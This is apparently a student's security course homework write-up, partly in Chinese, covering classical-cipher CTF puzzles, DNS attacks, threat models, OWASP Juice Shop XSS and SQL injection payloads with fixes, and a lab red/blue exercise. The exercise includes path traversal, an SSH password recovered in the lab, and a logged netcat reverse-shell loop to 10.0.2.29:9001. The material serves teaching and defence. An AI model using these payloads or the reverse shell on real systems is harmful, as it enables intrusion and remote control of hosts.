# NASA HW12 > [name=B11705054游至捷] ## Part I ### 1. #### (a) Flag:HW12{I_WANT_MOS_BURGER} 根據音檔推測是摩斯密碼,音檔內容如下:../.--/.-/-./-/--/---/.../-.../..-/.-./--././.-.。 以[密碼表](https://en.wikipedia.org/wiki/Morse_code)對照,內容是`I WANT MOS BURGER`,得到flag。 #### (b) Flag:hw12{mos_burger_is_the_best} 依照提示rotate,猜測是凱薩密碼。使用[凱薩密碼解碼器](https://www.dcode.fr/caesar-cipher),發現是位移13個字母,得到flag。 #### \(c) Flag:HW12{blaise_wants_MOS_BURGER_too} 依照提示中的Blaise,查詢後發現是[維吉尼亞加密](https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher)。使用[解碼器](https://www.dcode.fr/vigenere-cipher),並將密鑰設為紙條中的`MOSBURGER`,嘗試發現可以解碼並得到flag。 #### (d) Flag:HW12{THE_BROKEN_FRONT_DOOR_OF_MOS} 題序中提到「替換」,猜測是Substitution Cipher。依照文中的一些密文猜測對應的字母`AZS NVHTGH -> MOS BURGER`,`LU12 -> HW12`、接著依照文中一些英文單字推測剩下的對應如下: |明文|密文| |-|-| |A|M| |B|N| |C|W| |D|J| |E|G| |F|R| |G|T| |H|L| |I|F| |J|B| |K|I| |L|O| |M|A| |N|X| |O|Z| |P|K| |Q|C| |R|H| |S|S| |T|Q| |U|V| |V|D| |W|U| |X|E| |Y|Y| |Z|P| 接著使用[線上解碼器](https://www.dcode.fr/substitution-cipher)解出flag。 #### (e) Flag:HW12{the_menu_of_MOS_BURGER} 題目給了兩張照片,但結果只有一張,猜測是將兩張照XOR以後變為一張。 用Python寫以下的程式,將`english-menu_A.png` XOR `english-menu_A.png`變為`english-menu_XOR.png`: ``` python: from PIL import Image, ImageChops # Open images im1 = Image.open("english-menu_A.png") im2 = Image.open("english-menu_B.png") result = ImageChops.logical_xor(im1,im2) result.save('english-menu_XOR.png') ``` 結果附圖如下:  最後在圖片左下角找到Flag。 ### 2. #### (a). DNS Spoofing 是攻擊者透過偽造DNS 解析器的內容,讓使用者在進行DNS Query收到錯誤的IP位址,被導向惡意的網站或Server等。此外,DNS Spoofing 也會影響DNS 服務的可用性,使使用者無法連上某些網路服務。 *[Reference](https://kb.isc.org/docs/aa-00509)* #### (b). DNSSEC是在DNS上增加了身分驗證的信任層,包含的新內容有資源記錄簽章、DNSKEY和委派簽章者等,以金鑰對各個DNS Record進行簽署,這些金鑰建立了DNS的信任鏈,確保DNS Record記錄和Name Server內的資料相符。 攻擊者在有DNSSEC保護的DNS下,沒有DNS對應的私鑰,因此無法簽名,生成可被信任的DNS紀錄,DNS Server會拒絕這些紀錄,使用者也無法得到惡意的回復。 *[Reference](https://tw.godaddy.com/help/what-is-dnssec-6135)* #### \(c). DNS Cache Poisoning 是透過在DNS的快取中植入錯誤的訊息,讓使用者在DNS Query時收到錯誤的回覆,而被導向錯誤的網站。DNS Cache Poisoning 是一種DNS Spoofing,因此造成的影響也類似,可能讓使用者被導向惡意的網站,或讓網站服務中斷。 *[Reference](https://www.cloudflare.com/zh-tw/learning/dns/dns-cache-poisoning/)* #### (d). NXDOMAIN 攻擊屬於一種DoS攻擊,攻擊者透過大量請求不存在的DNS紀錄,讓DNS伺服器不斷處裡請求,最終無法承受流量,導致正常的服務被阻斷;此攻擊也會讓DNS伺服器紀錄大量的不存在DNS紀錄結果,使Cache空間減少,也有DoS的效果。 *[Reference](https://www.cloudflare.com/zh-tw/learning/dns/dns-security/)* #### (e). 首先設置Rate Limit,防止如NXDOMAIN這種Flood attack,另外要支援DNSSEC,防止DNS Spoofing,以及DoT,防止中間人進行Cache Poisoning攻擊,來預防未來的攻擊。而在受到攻擊時,可以監控流量,將可疑的Source IP阻擋,或導向黑洞路由,紓解流量,也可以監控使用者的流量,檢查是否被導向可疑網站,並建立黑名單;同時也提醒使用者在疑似進入可疑網站後,及時通知管理員。 ### 3. #### (a). - 勒索軟體攻擊 - 違反Integrity 勒索軟體將受害者的檔案加密,雖然內容沒有被修改,但檔案的狀態和原本不同,失去了完整性。 - 違反Availability 受害者無法打開被勒索軟體加密的檔案,必須支付贖金或使用解密工具,讓原本可以存取檔案變為不能存取,失去了可用性。 - 釣魚網站 - 違反Confidentiality 透過受害者對外觀相似於真實網站的惡意網站的信任,騙取受害者輸入如帳號密碼等敏感資料,讓其個人訊息外洩,影響了機密性。 #### (b). - Assumption - 電力未耗盡或能正常充電 - 筆電能連上網路 - 使用者的電腦有設置密碼 - Threat model 1 - 攻擊者趁受害者筆電開啟但離開時查看其筆電內容,記下瀏覽器上記錄的帳號密碼 - Countermeasure:離開電腦時記得鎖定,並使用需要多階段認證方式的密碼管理工具 - Threat model 2 - 攻擊者偷走閒置的筆電,並暴力破解密碼 - Countermeasure:設定安全性高的密碼,並且開啟嘗試太多次密碼會鎖定或通知持有者的功能,以便及時阻止猜密碼的行為。 #### \(c). - Assumption - 使用者持有能正常掃描QR Code並能連網的裝置 - 使用者有使用特定的線上支付工具 - 使用者能正常收發訊息 - Threat model 1 - 攻擊者設置假冒的QR Code,使用者掃描後馬上從線上支付轉帳到攻擊者的電子錢包中 - Countermeasure:在線上支付設置二階段認證,在每次付錢前都再次確認;觀察QR Code的外觀,並在掃描後跳出「是否要前往網站」時觀察URL的真實性。 - Threat model 2 - Countermeasure:攻擊者仿冒政府單位寄送實聯制確認訊息,讓使用者必須典籍確認網址,但網址實際上是釣魚網站 - 收簡訊前確認寄件人,並且不要任意點擊不明網址 #### (d). - Assumption - 參加考試的學生裝置上擁有通訊軟體 - 考試的教室中每個人都有運作正常的桌機 - 學生考試期間可以自由進出教室 - Threat model 1 - 考生利用通訊軟體傳訊息和他人討論考題解法 - Countermeasure:安排多位助教巡視,避免有人開啟通訊軟體、規定學生只能使用桌機,並連上CSIE Wi-Fi,其中設置防火牆阻擋各種通訊軟體的連線。 - Threat model 2 - 學生離開教室,到外面與非組員的人討論 - Countermeasure:限制考生出入的時間和長度,並安排助教在教室門口觀察學生移動的方向,確保考生在視線範圍中或沒有前往不明的目的地 ### 4. #### (1). #### (a). - 前往/#/score-board找到題目 - 輸入URL:http://localhost:3000/#/search?q=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E 便能成功解題 - 搜尋功能的程式碼有以下內容`this.searchValue = this.sanitizer.bypassSecurityTrustHtml(queryParam)`,繞過了模組中的安全檢查,因此接收到q參數時會直接在網頁元素中加入`<script></script>`,並執行其中的js程式,導致XSS攻擊 - 把程式碼改為:`this.searchValue = queryParam`,利用Angular模組內建功能保護來自q參數的攻擊 #### (b). - 做法與前一題相同,在搜尋列中輸入`<iiframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>`(這裡多打一個i避免文件中出現iframe)。 - 此攻擊方法也是DOM XSS,在網頁新增一個元素。 - 解決方法也是修改上一題相同一段程式碼 #### \(c). - 根據提示猜測發送檔案的來源可能是FTP,在網址中輸入`localhost:/ftp`,便能找到一些檔案和資料夾。點開`acquisitions.md`,就能解決任務 - 此漏洞的原理是此網站沒有適當管理ftp資料夾的存取權,原始碼中開放了`/ftp`路徑的存取,因此任何人都能利用`/ftp`找到檔案資料夾。 - 修改方式是將原始碼中所有`app.use('/ftp...)`部分都刪除,讓使用者無法進入此路徑,也就無法存取機密檔案。 ### (d). - 在前一題中`/ftp`路徑下,試著開啟`eastere.gg`,會跳出**403 Error**,成功完成題目 - 這個漏洞是網站未適當處理Client error responses,導致使用者觸發這些錯誤狀態碼時,會直接看到報錯訊息,其中可能包含一些原始碼的檔案路徑、原始碼片段、網站架構等;攻擊者能利用這個漏洞製造更多錯誤請求,使網站洩漏更多的報錯訊息,一步一步取得網站的機密資訊與原始碼,進而對網站進行攻擊。 - 解決方法是適當的處理這些Error Responses,如遇到**403 Error**(或其他狀態碼)時回傳一個特定的樣板頁面,其中不包含任何訊息、或直接重新導向回主畫面,讓攻擊者無法得知過多資訊。 ### (e). - 使用SQL Injection在帳號中輸入`' or 1=1;--`,其中'結束前面的SQL語句,並加上`or 1 = 1`製造`TRUE`的條件,接著`;--`註解其他部分,忽略其他檢查。 - 任意輸入密碼`abc`登入 - 漏洞會遭受SQL Injection攻擊,因為原始碼中`models.sequelize.query`部分直接將使用者輸入與SQL語句進行字串拼接,因此攻擊者可以輸入任何合法的SQL程式碼,都會未經檢查而直接被執行,進而對資料庫進行一些未授權的操作 - 把原始碼中的`${req.body.email || ''}`、`${security.hash(req.body.password || '')}`改成`$1`、`$2`,利用Prepared Statement有效防止SQL Injection。 #### 結果截圖:  #### (2). - CSRF是跨站偽造請求,攻擊者透過偽造受害者的身分,透過受害者已驗證的狀態,利用網站對網頁瀏覽器信任,在未授權的情況下讓相信攻擊者,進而使其進行惡意的操作。 - 其原理是攻擊這透過釣魚網站,在惡意網站圖片、表單、連結等中加入Script。因為使用者真實網站的Cookie尚未到期,仍存在瀏覽器中,惡意Script能利用這些Session模仿真實網站的操作(如銀行轉帳、登入等)欺騙瀏覽器,進而使受害者遭受攻擊。 *[Reference](https://en.wikipedia.org/wiki/Cross-site_request_forgery)* ## Part II ### 1. #### (a). **Flag: NASA{W0W_Y0U_KN0W_NM49_70_5C4N_55H_H093_Y0U_D0N'7_BRU73_F0RC3_17}** - 試著連上Kali VM - 在`sudo nano /etc/ssh/sshd_config`加入`Port 10022`,連上Kali - 使用`ssh nasa2024@localhost -p 10022`得到`connection reset by peer`錯誤 - 重開機後得到`WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!`警告,刪除`/root/.ssh/known_hosts`後即可ssh連上 - 複製*雲端*資料夾,本地->ws2->debain->nasa_hw11_red: - `scp -r red_a b11705054@ws3.csie.ntu.edu.tw:/tmp2/b11705054` - `scp -P 21161 -r red_a nasa2024@localhost:~/` - 進入kali後,把`sudo cp /root/.ssh/known_hosts /home/nasa2024/.ssh/known_hosts`加入家目錄。 - `scp -P 10022 -r red_a nasa2024@localhost:~/`將*雲端*資料夾複製到nasa_hw11_red - 直接ssh無法進入nasa_hw11_red,因此`nmap -v -sV -p1-65535 10.0.2.17`掃port,發現ssh在`port 22087` - `chmod 600 red_a/rd_e25519`更改private key權限 - `ssh -i red_a/id_e25519 student@10.0.2.17 -p 22087 `進入student的家目錄 - `cat flag1`得到flag1 #### (b). **Flag: NASA{CRY706R49HY_4150_1M90R74N7_1N_CYB3R53CUR17Y!}** - `telnet 10.0.2.17 8888` 連上服務 - 選擇$b = 1$,因此$v = g^b \; mod \; p = 7$ - 輸入$v = 7$,shared secret 為 $u ^ b \; mod \; p =u$ - 使用以下Python Script解碼: ``` python from Cryptodome.Cipher import AES import binascii # Process IV, encrpyted_password IV_hex = # given IV IV = binascii.unhexlify(IV_hex) encrpyted_password_hex = # given secret encrpyted_password = binascii.unhexlify(encrpyted_password_hex) # Parse AES Key shared = # same as given u, as noted above aes_key = shared_secret.to_bytes((shared.bit_length() + 7) // 8, 'big')[:16] # Decrypt the secret using AES-CBC cipher = AES.new(aes_key, AES.MODE_CBC, IV) print(cipher.decrypt(encrpyted_password).decode()) ``` - 得到密碼`yLXGn4S3wYeAMnF7UySEsw9wMPdh5v2e` - 利用密碼登入`ssh nasa2023@10.0.2.17 -p 22087`,`cat flag2`得到flag #### \(c). **Flag: NASA{533M5_11K3_Y0U_4773ND_14B_7H15_W33K!}** - `cat README.txt`查看提示 - `/root/comic-server/comic-server`和comic server互動 - 從原始碼中發現comic server會開啟`/root/comic-server/comic/`+`input`路徑下的內容,因此輸入` ../../../home/nasa2024/flag3`,透過Server開啟flag3 - 成功得到flag3的內容 #### (d). #### (e). ### 2. #### (a). - `chmod 600 .ssh/id_blue`調整權限 - `ssh -i .ssh/id_blue root@10.0.2.18`進入blue vm - 使用`netstat -ap`來查看服務,其中開啟的有SSH、HTTP和在Port 9000的PHP-FPM82 #### (b). - 到`/var/log`查看log,包含`messages`、`php82/error.log`、`nginx/error.log`、`nginx/access.log` - 在`nginx/access.log`中可以發現`29/Apr/2024:21:06:19 +0800`開始有多次異常的GET請求,其中的URL都和其他格式不一樣,有一串疑似加密的內容,因此推測是**HTTP**服務遭受攻擊 #### \(c). - 在同份log中有紀錄:`10.0.2.29 - - [23/Apr/2024:12:00:39 +0800] "GET ..."`,得知攻擊者IP為**10.0.2.29** #### (d). - 由同一份Log發現開始攻擊者發送HTTP GET請求如下`/uploads/{id}.php?cmd={malicious_commands}`。這是一種利用HTTP的RCE漏洞,利用HTTP GET遠端執行程式。 - 方法是而攻擊者利用upload.php中的cmd的參數植入指令,使伺服器執行;另外也用base64加密惡意script,而因為伺服器把這些使用base64解密,此時就會執行這些被解密的程式,攻擊者便利用這個漏洞執行任何程式 #### (e). - 攻擊者發了多次GET請求,其中一些有以下的cmd參數`echo%20{some_base_64_encoded}%20|%20base64%20-d%20%3E%20`。將`some_base_64_encoded`部分拿去解密([解碼器](https://www.base64decode.org/))觀察程式碼內容 - 其中發現有兩種不同的Base 64 Encrypted Script,解碼出來為`a.c`的程式碼,而兩者只差在引用的標頭檔。 - 攻擊者利用漏洞執行了以下的指令 - `ls /` - 以上述解碼內容建立`a.c` - `gcc -o /var/www/html/.a /var/www/html/a.c` 編譯 `a.c` - `rm a.c`移除`a.c` - 撰寫以下shell script,不停連到攻擊者主機的`10.0.2.29:9001`,使它能控制受害者的shell ```'#!1/bin/ash while true; do nc 10.0.2.29 9001 -e ash sleep 5 done' > a.sh ``` - `chmod 777 a.sh`更改`a.sh`的權限 - `ash a.sh`在受害者伺服器上執行`a.sh` - 這些程式碼的功用: - 利用漏洞上傳`a.c`,而根據解密結果,`a.c`是建立Reverse Shell的程式碼,其功能是建立受害者和攻擊者`10.2.0.29:9001`之間的TCP連線,並開啟`ash`shell,使攻擊者可以透過這個Reverse Shell執行命令,控制受害者主機。 - 攻擊者上傳程式碼後編譯,並用shell script執行,使Reverse Shell在受害者主機持續執行,且失敗後仍會再次執行,讓攻擊者能長期的控制受害者。 *[Reference](https://www.imperva.com/learn/application-security/reverse-shell/)* #### (f). #### (g).
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up